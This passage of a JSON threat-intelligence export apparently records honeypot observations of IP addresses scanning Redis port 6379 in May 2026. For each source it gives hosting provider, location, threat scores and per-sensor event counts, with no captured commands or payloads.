      "last_seen": "2026-05-16T01:44:17.711Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 7.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 9,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T01:39:01.350000+00:00",
        "last_seen_30d": "2026-05-16T01:44:17.711000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Adbhoney": 42,
        "Suricata": 38,
        "Redishoneypot": 14,
        "Honeytrap": 1
      }
    },
    "47.250.81.7": {
      "attack_count": 25,
      "first_seen": "2026-05-06T14:14:48.000Z",
      "last_seen": "2026-05-06T14:15:56.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T14:14:48+00:00",
        "last_seen_30d": "2026-05-16T17:32:30.837000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 6,
        "Dionaea": 4
      }
    },
    "64.227.161.161": {
      "attack_count": 25,
      "first_seen": "2026-05-14T12:36:13.000Z",
      "last_seen": "2026-05-14T12:37:17.126Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147617,
        "days_active_30d": 1,
        "ports_targeted_30d": 65822,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-14T12:33:42.786000+00:00",
        "last_seen_30d": "2026-05-14T12:48:34.610000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127216,
        "Honeytrap": 20356,
        "Cowrie": 12,
        "ConPot": 9,
        "Dionaea": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "89.44.32.243": {
      "attack_count": 25,
      "first_seen": "2026-05-07T23:30:09.000Z",
      "last_seen": "2026-05-30T19:11:42.435Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 50926,
      "as_org": "Axarnet Comunicaciones, S.l.",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T23:31:15.415000+00:00",
        "last_seen_30d": "2026-05-30T19:11:42.435000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "104.28.155.148": {
      "attack_count": 24,
      "first_seen": "2026-05-05T12:16:52.000Z",
      "last_seen": "2026-05-05T13:34:27.876Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Gallarate",
      "asn": 13335,
      "as_org": "Cloudflare, Inc.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:16:53+00:00",
        "last_seen_30d": "2026-05-05T13:34:27.876000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 2
      }
    },
    "107.174.64.157": {
      "attack_count": 24,
      "first_seen": "2026-05-03T12:35:13.000Z",
      "last_seen": "2026-05-13T00:59:27.807Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:35:14+00:00",
        "last_seen_30d": "2026-05-13T00:59:27.807000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 3
      }
    },
    "220.250.52.75": {
      "attack_count": 24,
      "first_seen": "2026-05-05T22:53:18.000Z",
      "last_seen": "2026-05-26T11:44:45.366Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:53:18+00:00",
        "last_seen_30d": "2026-05-26T11:44:45.366000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "45.91.64.7": {
      "attack_count": 24,
      "first_seen": "2026-05-04T20:44:12.000Z",
      "last_seen": "2026-05-19T23:38:20.188Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 29,
        "ports_targeted_30d": 98,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:35:54+00:00",
        "last_seen_30d": "2026-05-30T15:41:25.051000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 418,
        "Honeytrap": 127,
        "Cowrie": 12,
        "Dionaea": 8,
        "ConPot": 6,
        "Mailoney": 6,
        "Redishoneypot": 6,
        "H0neytr4p": 3
      }
    },
    "120.48.1.211": {
      "attack_count": 21,
      "first_seen": "2026-05-13T01:56:17.000Z",
      "last_seen": "2026-05-30T15:58:06.260Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-13T01:57:22.358000+00:00",
        "last_seen_30d": "2026-05-30T15:58:06.260000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "139.59.96.155": {
      "attack_count": 21,
      "first_seen": "2026-05-13T06:11:10.000Z",
      "last_seen": "2026-05-13T06:12:18.146Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 177683,
        "days_active_30d": 1,
        "ports_targeted_30d": 65051,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-13T06:08:06+00:00",
        "last_seen_30d": "2026-05-13T06:23:01.568000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149446,
        "Honeytrap": 28198,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 6,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "157.245.247.139": {
      "attack_count": 21,
      "first_seen": "2026-05-31T18:30:11.000Z",
      "last_seen": "2026-05-31T18:31:25.059Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 2.5,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 3,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-29T22:19:23+00:00",
        "last_seen_30d": "2026-05-31T23:51:52.461000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 22,
        "Redishoneypot": 8,
        "ElasticPot": 5,
        "Dionaea": 1
      }
    },
    "167.71.31.227": {
      "attack_count": 21,
      "first_seen": "2026-05-16T14:00:33.000Z",
      "last_seen": "2026-05-16T14:01:44.597Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 2,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-15T12:56:14+00:00",
        "last_seen_30d": "2026-05-16T23:35:26.214000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Honeytrap": 104,
        "Redishoneypot": 8,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "134.209.23.167": {
      "attack_count": 20,
      "first_seen": "2026-05-12T19:52:07.000Z",
      "last_seen": "2026-05-12T19:53:15.633Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 138324,
        "days_active_30d": 1,
        "ports_targeted_30d": 66220,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-12T19:49:20+00:00",
        "last_seen_30d": "2026-05-12T20:03:19.916000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120440,
        "Honeytrap": 17824,
        "Mailoney": 12,
        "ConPot": 9,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "157.66.255.53": {
      "attack_count": 19,
      "first_seen": "2026-05-04T14:24:23.000Z",
      "last_seen": "2026-05-04T15:54:49.023Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 151390,
      "as_org": "RUTILEA, Inc.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:24:23+00:00",
        "last_seen_30d": "2026-05-04T15:54:49.023000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "71.6.232.20": {
      "attack_count": 19,
      "first_seen": "2026-05-13T10:10:48.000Z",
      "last_seen": "2026-05-13T10:12:25.640Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 74.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-05T04:37:14.271000+00:00",
        "last_seen_30d": "2026-05-28T00:06:27.545000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Redishoneypot": 6,
        "Honeytrap": 5,
        "Dionaea": 3,
        "ConPot": 2,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Mailoney": 1
      }
    },
    "20.118.32.235": {
      "attack_count": 18,
      "first_seen": "2026-05-09T09:28:01.000Z",
      "last_seen": "2026-05-09T09:29:40.804Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T09:52:07.073000+00:00",
        "last_seen_30d": "2026-05-24T09:54:15.900000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "67.207.93.93": {
      "attack_count": 17,
      "first_seen": "2026-05-29T22:23:24.000Z",
      "last_seen": "2026-05-30T04:10:03.576Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:12:55.372000+00:00",
        "last_seen_30d": "2026-05-31T12:12:32.434000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Redishoneypot": 3
      }
    },
    "115.190.194.106": {
      "attack_count": 16,
      "first_seen": "2026-05-18T12:31:34.000Z",
      "last_seen": "2026-05-26T13:02:24.489Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-18T12:32:37.067000+00:00",
        "last_seen_30d": "2026-05-26T13:02:24.489000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "120.48.151.68": {
      "attack_count": 16,
      "first_seen": "2026-05-08T17:25:12.000Z",
      "last_seen": "2026-05-26T17:48:57.696Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T17:26:37.580000+00:00",
        "last_seen_30d": "2026-05-26T17:48:57.696000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "160.119.76.62": {
      "attack_count": 16,
      "first_seen": "2026-05-06T15:03:07.000Z",
      "last_seen": "2026-05-06T15:11:31.800Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1506,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-06T11:53:54+00:00",
        "last_seen_30d": "2026-05-06T15:48:11.388000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4584,
        "Honeytrap": 2477,
        "Dionaea": 20,
        "ConPot": 18,
        "Adbhoney": 12,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Miniprint": 1
      }
    },
    "20.124.93.107": {
      "attack_count": 16,
      "first_seen": "2026-05-06T22:40:49.000Z",
      "last_seen": "2026-05-06T22:42:55.984Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T22:41:49+00:00",
        "last_seen_30d": "2026-05-28T19:42:52.844000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "118.31.1.163": {
      "attack_count": 15,
      "first_seen": "2026-05-05T15:23:10.000Z",
      "last_seen": "2026-05-09T15:51:59.666Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:24:44.779000+00:00",
        "last_seen_30d": "2026-05-09T15:51:59.666000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "18.189.74.1": {
      "attack_count": 15,
      "first_seen": "2026-05-02T00:58:10.000Z",
      "last_seen": "2026-05-17T00:56:23.115Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 480,
        "days_active_30d": 30,
        "ports_targeted_30d": 192,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:59:11.039000+00:00",
        "last_seen_30d": "2026-05-31T18:00:21.837000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 480
      }
    },
    "20.215.88.213": {
      "attack_count": 15,
      "first_seen": "2026-05-22T08:13:00.000Z",
      "last_seen": "2026-05-28T16:18:59.236Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T08:14:01.652000+00:00",
        "last_seen_30d": "2026-05-28T16:18:59.236000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "20.46.231.161": {
      "attack_count": 15,
      "first_seen": "2026-05-10T15:00:28.000Z",
      "last_seen": "2026-05-10T15:03:33.103Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T15:01:33.653000+00:00",
        "last_seen_30d": "2026-05-31T11:54:07.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Redishoneypot": 3
      }
    },
    "20.65.195.23": {
      "attack_count": 15,
      "first_seen": "2026-05-11T19:06:04.000Z",
      "last_seen": "2026-05-11T19:08:33.343Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T19:07:10.721000+00:00",
        "last_seen_30d": "2026-05-31T07:44:51.271000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "91.230.168.69": {
      "attack_count": 15,
      "first_seen": "2026-05-30T09:14:19.000Z",
      "last_seen": "2026-05-30T09:15:23.370Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 30,
        "ports_targeted_30d": 103,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:46:42.569000+00:00",
        "last_seen_30d": "2026-05-31T22:45:59.141000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 30,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "178.73.248.165": {
      "attack_count": 14,
      "first_seen": "2026-05-25T22:28:07.000Z",
      "last_seen": "2026-05-25T22:29:12.750Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-25T22:27:21.782000+00:00",
        "last_seen_30d": "2026-05-25T22:29:12.750000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "66.132.172.136": {
      "attack_count": 14,
      "first_seen": "2026-05-16T01:37:53.000Z",
      "last_seen": "2026-05-16T01:39:02.145Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T11:19:33+00:00",
        "last_seen_30d": "2026-05-31T19:13:40.150000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 46,
        "ElasticPot": 16,
        "Redishoneypot": 6,
        "Tanner": 4,
        "Dicompot": 1
      }
    },
    "170.64.182.38": {
      "attack_count": 12,
      "first_seen": "2026-05-11T08:33:18.000Z",
      "last_seen": "2026-05-11T08:34:25.446Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
